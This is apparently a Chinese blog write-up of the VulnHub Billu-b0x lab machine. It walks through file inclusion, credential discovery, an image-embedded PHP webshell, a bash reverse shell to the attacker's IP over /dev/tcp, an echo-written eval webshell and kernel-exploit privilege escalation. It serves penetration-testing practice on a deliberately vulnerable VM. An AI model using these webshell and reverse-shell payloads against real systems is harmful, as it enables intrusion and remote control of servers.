zoukankan      html  css  js  c++  java
  • Billu-b0x靶机渗透实战-vuluhub系列(九)

    这是vulnhub靶机系列文章的第九篇,昨天因为学习的过程中卡壳了,搞到最后解决后,但是没精力了就没更新了....,本次主要知识点为:任意文件下载漏洞、sql注入代码审计,文件包含代码审计、文件上传绕过getshell,linux内核溢出提权

    靶机下载地址:
    https://www.vulnhub.com/entry/billu-b0x,188/

    #001 环境搭建(nat)

    攻击机:kali:192.168.136.129

    靶机billu-b0x:192.168.136.139

     

    #002 实战writeup

    寻找靶机ip,netdiscover -i eth0,发现ip为192.168.136.139

    接着nmap扫描一下端口开放情况,nmap -A 192.168.136.139,发现只开放了80和22端口

    访问一下80端口,发现是一个登陆界面,并且让你展示sql注入技术,明摆着的挑衅

    #003 尝试注入页面

    尝试注入,使用万能密码,但是没成功,并且弹出提示

     

    因为是post表单,所以用burp抓包分析一下,发送到repeater,fuzz了一轮,都没尝试成功,抓跑丢给sqlmap跑包,也失败了,应该是有注入的,可能是代码过滤机制,但暂时未知,先暂时放一放...

    #004 爆破目录

    用dirbuster和dirb跑了一下目录,发现以下php文件,in.php,c.php,test.php,panel.php还有一个诡异的phpmy目录,依次访问一下跑出来的文件和目录,果真有新发现

    访问到test.php的时候,提示我要传入file参数,file这个参数,我萌生了文件包含的想法..

    构造?file=/etc/passwd/,但是并没有回显

    难道不存在文件包含漏洞?回想之前看到文章,GET不行的时候可以尝试改成POST提交,小牛试刀,改成POST提交之后访问,发现提示下载,可以证明是存在文件包含的,这里竟然可以直接下载?那我把这几个文件都下载下来审计一下或许有新发现

    所以依次把参数值改成各个文件名,全部下载下来进行审计分析

    c.php中发现了数据库的账号密码,nice!访问刚才爆破出来的phpmy目录是phpmyadmin的页面,拿数据库账号密码登陆进去phpmyadmin的管理界面,账号:billu,密码:b0x_billu,然后是数据库名

    #005 getshell姿势

    成功登陆进phpmyadmin后台,下一步是寻找后台登陆的账号密码,发现只有一个数据库

    浏览到auth数据库的时候发现了一对账号密码,并且还是明文密码,省了解密的步骤

    用账号密码去登陆一开始发现的页面,登陆成功,进入到后台

    发现后台没什么功能,一个select框,只有两个选项,Show Users只能查看到了两个用户的图片

     

    复制图像的地址在浏览器打开,发现文件上传后的路径为
    http://192.168.136.139/uploaded_images/

    选择到Add User,发现是一个上传点,上传木马拿shell即可

    上传了php一句话,发现是白名单限制,想了一下有文件包含漏洞,test.php的漏洞只能达到下载文件,但是解析不了木马,所以继续看源码

    审计panel.php发现还有include的函数,并且包含的内容是直接从POST请求接收过来,证明应该存在任意文件包含漏洞,查看包含的格式为$dir的值(跟踪$dir,发现利用了getcwd 函数—取得当前工作目录,pane.php工作在根目录也就是http://192.168.136.139/),再拼接一个/,然后拼接通过load参数传过来的POST请求

    通过分析源码得到思路我只要用load参数通过POST请求传上传的图片马所在的路径,就会被解析,我用一个正常的图片shelll.jpg,然后用010editor在最后面加入了<?php phpinfo();?>,然后上传,提示上传成功,并且可以看到成功解析了,证明了确实存在文件包含漏洞

    然后我想通过在图片插入<?php fputs(fopen("panda.php","w"),'<?php @eval($_POST[panda]);?>');?>,在同一级目录下生成一个panda.php的一句话木马,但是失败了,上传目录并没有生成

    转换思路,把插入的内容写成可以执行命令的马子,通过文件包含漏洞,利用马子参数执行命令

    上传成功,上传目录下已经有shell2.jpg了

    然后利用panel.php文件包含的漏洞解析图片中的马子,进行执行命令,burp抓包进行重放,执行命令成功

    然后我们执行bash反弹shell命令,这里需要将命令url编码

    echo "bash -i >& /dev/tcp/192.168.136.129/6666 0>&1" | bash

    然后执行

    Kali开启监听,成功反弹接收到shell

     

    #005 提权操作

    uname -a

    利用kali的searchsploit 3.13.0查找可利用的exp,这里找到两个,我这里用第一个

    Locate一下exp的位置

    打算用weget下载但是报错了

    这里又想了一下,用echo写一个一句话,然后连接马子进行上传exp提权,首先找到可写的目录

    cd到uploaded_images,echo '<?php eval($_POST[cmd]);?>' >>panda.php

    caidao连接一下

    然后把exp用caidao传到靶机上

    运行exp成功提权到root

     

    #006 sql注入再次尝试

     

    ##007 总结归纳

    代码审计

    文件包含的利用,get转post提交下载源文件

    文件包含,使用命令执行的马子执行命令,反弹shell,url编码再提交

    文件包含配合图片马

    echo 写入一句话木马

    多关注配置文件,数据库文件

    上传文件图片马绕过

  • 相关阅读:
    HDU——1061Rightmost Digit(高次方,找规律)
    HDU——1019Least Common Multiple(多个数的最小公倍数)
    HDU——1013Digital Roots(九余数定理)
    HDU——1020Encoding(水题,string过)
    HDU——2093考试排名(string类及其函数的运用以及istringstream)
    廖雪峰Java3异常处理-2断言和日志-4使用Log4j
    廖雪峰Java3异常处理-2断言和日志-3使用Commons Logging
    廖雪峰Java3异常处理-2断言和日志-2使用JDK Logging
    廖雪峰Java3异常处理-2断言和日志-1使用断言
    Charles问题
  • 原文地址:https://www.cnblogs.com/PANDA-Mosen/p/13217674.html
Copyright © 2011-2022 走看看